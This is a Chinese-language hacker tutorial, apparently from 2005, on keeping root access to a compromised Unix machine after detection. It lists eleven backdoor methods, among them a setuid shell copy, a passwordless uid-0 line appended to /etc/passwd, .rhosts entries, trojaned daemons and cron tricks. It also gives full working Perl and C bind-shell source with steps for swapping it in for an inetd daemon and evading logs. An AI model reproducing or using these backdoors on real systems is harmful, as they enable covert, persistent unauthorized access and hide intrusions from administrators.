相關(guān)軟件 >如何創(chuàng)建后門 創(chuàng)建者:webmaster 更新時(shí)間:2005-05-27 19:30 參考文獻(xiàn): Article: backdoor from The Infinity Concept Issue II Src: b4b0.c by b4b0 Src: daemonsh.pl by van Hauser / [THC] in 1997' 千辛萬苦(or 輕而易舉)的取得root后,當(dāng)然希望長久的保持. 以被以后用來。。。d0ing what u want t0 d0 :) 傳統(tǒng)的方法就是建立一個(gè)后門(backd00r).即使入侵被發(fā)現(xiàn),好的(先進(jìn))后門仍然能夠使你再次輕松的破門而入 -- 請(qǐng)記住: " we come back and we are the h.a.c.k.e.r " -- 創(chuàng)建后門的方法如下: - 1. setuid #cp /bin/sh /tmp/.backdoor #chmod u+s /tmp/.backdoor 加上 suid 位到shell 上,最為簡單方便,但也最為容易被ADM 發(fā)現(xiàn) find / -perm 4000 -print;同時(shí)在大多數(shù)的SUNOS 上 你會(huì)發(fā)現(xiàn)不能setuid。-- 適用于新手; - 2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即給系統(tǒng)增加一個(gè) id 為 0(root)的帳號(hào),無口令; 也很容易被發(fā)現(xiàn)。 -- 適用于新手; - 3.echo "+ zer9">>/.rhosts 即本地的名為 zer9 的用戶可以直接 rlogin target 無須口令此時(shí)的 zer9 就相當(dāng)于口令,不知道的人是不能進(jìn)去的. 前提是目標(biāo)的port 512or513or514 opening. 注: 如 echo "+ +">>/.rhosts 則任何用戶都可rlogin至目標(biāo) 導(dǎo)致目標(biāo)門戶打開,最好不要; 還可 echo "+ +">>/etc/hosts.equiv 但這樣不能取得root權(quán)限;-- 適用于比新手高一點(diǎn)點(diǎn),比中級(jí)水平低一點(diǎn)點(diǎn)的guys; - 4.modify sendmail.cf 增加一個(gè)"wiz" 命令; usage: telnet target 25 [enter] wiz[enter] 這是我從SAFEsuite中學(xué)到的(但沒試過);比較危險(xiǎn)。因?yàn)閹缀跛械膾呙杵鞫紩?huì)刺探本漏洞。不過你可把命令本身該成其他 不易猜到的名字。比較復(fù)雜,危險(xiǎn),但ADM不易發(fā)現(xiàn),隱蔽性較強(qiáng);你只在你的機(jī)器上試一試就okay了;-- 顧名思意,大師級(jí)漏洞; - 5. crack suck as inetd,login,... 即安裝它們的特絡(luò)繹版本。你需要找到各版本unix的rootkit;然后分別編譯即可;-- 如果目標(biāo)機(jī)上沒有安裝 tripwire之類的東東,那幾乎不可能被發(fā)現(xiàn)。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有對(duì)應(yīng)平臺(tái)上的編譯器嗎?我有一臺(tái)運(yùn)行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,... hahhahha,我又做夢(mèng)了:) -- 我個(gè)人認(rèn)為是最好的方法,但實(shí)現(xiàn)起來有一定風(fēng)險(xiǎn),你必須考慮到如果你的木馬運(yùn)行出錯(cuò)怎么辦--因?yàn)槲覀兯龅囊磺卸急仨氁圆黄茐哪繕?biāo)機(jī)上的任何數(shù)據(jù)為原則; - 6.ping rem0te backd00r 即使是防火墻也很少阻止 ICMP 的通過,因此本后門可繞過防火墻。具體的程序你可在 [THC] 的主頁發(fā)現(xiàn);我想到了另外一種直接用ping命令實(shí)現(xiàn)的可通過防火墻的方法 :一方在防火墻內(nèi),一方在防火墻外;除 ICMP 外;通向防火墻內(nèi)的信息均被過濾掉 :(用 60k data 代表長,10k data 代表短;使用摩爾思編碼;(或其他自定義編碼)雙方通過 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""長江長江,我是黃河--- 向我開炮!向我開炮”(^o^);以后有時(shí)間我會(huì)通過程序來實(shí)現(xiàn)驗(yàn)證可行性的。(技術(shù)上應(yīng)該沒有什么難度) - 7.rem0te shell 我最喜歡的方式。而且由于繞開了login,故用 who 無法看到--也就是說,避開了utmp&utmpx&wtmp&wtmpx;但沒有完全避開 syslogd.ADM仍可以在/var/log/messages中發(fā)現(xiàn) 你。不過,有一種方法可以徹底完全的旁路 syslogd!且聽下面一一道來. bindshell的實(shí)現(xiàn)有兩種: a. 替換掉 inetd.conf 中的不重要服務(wù),如 rlogind :)在inetd 接受 connect 請(qǐng)求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一個(gè)shell, b. 接受 connect 后,在高端spam出一個(gè)shell; (更安全 :) 下面我給出一個(gè)perl 實(shí)現(xiàn)(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一個(gè) gnuc 的實(shí)現(xiàn)(test on slackware 2.0.33&irix6.4) --- perl 版安裝方法: ###無須編譯?。≈灰繕?biāo)機(jī)上有perl支持就okay! 如何判斷有無perl: $/>perl [enter] [ctrl-c] $/> - 如果你對(duì) /etc/inetd.conf 中的內(nèi)容不是很熟的話,下面 的方法有很大的危險(xiǎn)性, exit(-1) please; - 首先將源程序cut,存為你想要替換的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已經(jīng)被ADM關(guān)掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后 mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) cp in.rexecd /usr/sbin/in.rexecd 然后 ps -aux|grep inetd;kill -HUP id(by inetd); okay! 連 /etc/inetd.conf 都不要改。重申一點(diǎn):不論在任何情況下,我們都要盡最大的可能保護(hù)數(shù)據(jù)! - Usage: nc target (such as 512) [enter] ur passwd [enter] (then u login in...:) ----Cut Here------------------------------------------ #!/usr/bin/perl # # BEST # SIMPLE # rem0te bind shell #[perl version only tcp] # by # zer9[FTT] # zer9@21cn.com #passed on allmost unix #greet to:van Hauser/[THC] # for his daemonshell.pl # $SHELL="/bin/csh -i"; #d3f4ult p4sswd 1s "wh04r3u" (no quote); $PASSWORD="BifqmATb6D5so"; if ($PASSWORD) { chop($pass=); if (crypt($pass, $PASSWORD) ne $PASSWORD) { exit 0; } exec $SHELL ; exit 0; } ----Cut Here-------------------------------------------- 下面是一個(gè)for gnuc 的bindshell,first cut it,save as backdoor.c ,then cc backdoor.c -o backdoor other action just l1ke before; Usage: (exp:binding to in.rlogind (513)) nc target 513 //spam a shell on the high port; nc target 54321 ur passwd (then u coming in...) ----Cut Here------------------------------------- /* * [ b i n d - s h e l l ] * by * zer9[FTT] * zer9@21cn.com *test on slackware 2.0.33&irix6.4(cc) *cc backdoor.c -o backdoor *u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m *c0mm4nd l1n3: backdoor [port] *d3fault p0rt 1s: 54321 *greets to b4b0 for his b4b0.c *m4yb3 1 c0uld s4y: *"0k,b4b0.l1st3n c4r3fully;" *s0rry,just a joke. * */ #include #include #include #include #include #include #include #define PassWord "k1n90fth3w0rld" /* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ #define DefaultPort 54321 /* d3f4ult b1nd1ng p0rt */ int main(int argc,char **argv) { int s,in_s; struct sockaddr_in server,client; int client_len,bindport; char recvbuf[1000]; if(argc!=2) bindport=DefaultPort; else bindport=atoi(argv[1]); if((s=socket(AF_INET,SOCK_STREAM,0))<0) { perror("socket"); return -1; } bzero((char *)&server,sizeof(server)); bzero((char *)&client,sizeof(client)); bzero(recvbuf,sizeof(recvbuf)); server.sin_family=AF_INET; server.sin_port=htons(bindport); server.sin_addr.s_addr=INADDR_ANY; if(bind(s,(struct sockaddr *)&server,sizeof(server))<0) { perror("bind"); return -1; } if(listen(s,3)!=0) { perror("listen"); return -1; } client_len=sizeof(client); if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) { perror("accept"); return -1; } recv(in_s,recvbuf,sizeof(recvbuf),0); sleep(1); if((strlen(recvbuf)-1)==strlen(PassWord)) if(!strncmp(recvbuf,PassWord,strlen(PassWord))) { send(in_s,"0k4y! c0m1ng 1n...\n",25,0); close(0);close(1);close(2); dup2(in_s,0);dup2(in_s,1);dup2(in_s,2); execl("/bin/csh","/bin/csh",(char *)0); } close(s); close(in_s); return 0; } ----Cut Here------------------------------------------------- 用上面的方法都不能完全的避開syslogd,因?yàn)樗麄兌际怯蒳netd 啟動(dòng)的,inetd啟動(dòng)它們的同時(shí)已經(jīng)進(jìn)行l(wèi)og 了;旁路掉inetd就能完全避開syslog!方法很簡單,只要直接在命令行直接啟動(dòng)例程2(c)就可以了,(1perl不行);不過這樣很麻煩;一旦ADM關(guān)掉計(jì)算機(jī)就玩完了;比較好的方法是在 /etc/rc.d/rc.local中加入: backdoor & 但即使這樣作了,每次用過后還要再起動(dòng)一次;更好的方法是寫一個(gè)具有完全功能(后門功能^o^)的daemon,徹底的解決這個(gè)問題;但這樣做與hack inetd 那樣更有效率(安全)了? -- 8.第八種武器就是 crontab 我只知道原理,沒實(shí)踐過.每到一定時(shí)間就往 /etc/passwd 中加入一條uid為0(root) 的用戶;時(shí)間一道就delete ,或創(chuàng)建suid's shell...在序言中提到的文章中有詳細(xì)介紹; -- 9.有沒有想過只要向系統(tǒng)的一個(gè)用戶發(fā)一個(gè)email,OS 就會(huì)spam出一個(gè)shell?利用用戶的home目錄下的 .forward 可作到這一點(diǎn)。 -- 10。修改內(nèi)核--超級(jí)高手的做法;2.2.0的解壓文件達(dá)到了50幾MB,看到就頭痛。接著就 jmp ffff0 :) (不是看到內(nèi)容,而是看到大小);[THC]最近出了篇文章關(guān)于這個(gè)的。你對(duì)自己有信心的話可以看看; -- 11.還有就是利用 overflow 程序,雖然我們一般是利用它取得root;但只要 ADM && u 沒有 patch ,始終我們可以利用它的,與suid不同的是它不怕被 find / -perm 4000 發(fā)現(xiàn);一般只有 tripwire可發(fā)現(xiàn)。 相關(guān)文章 本頁查看次數(shù):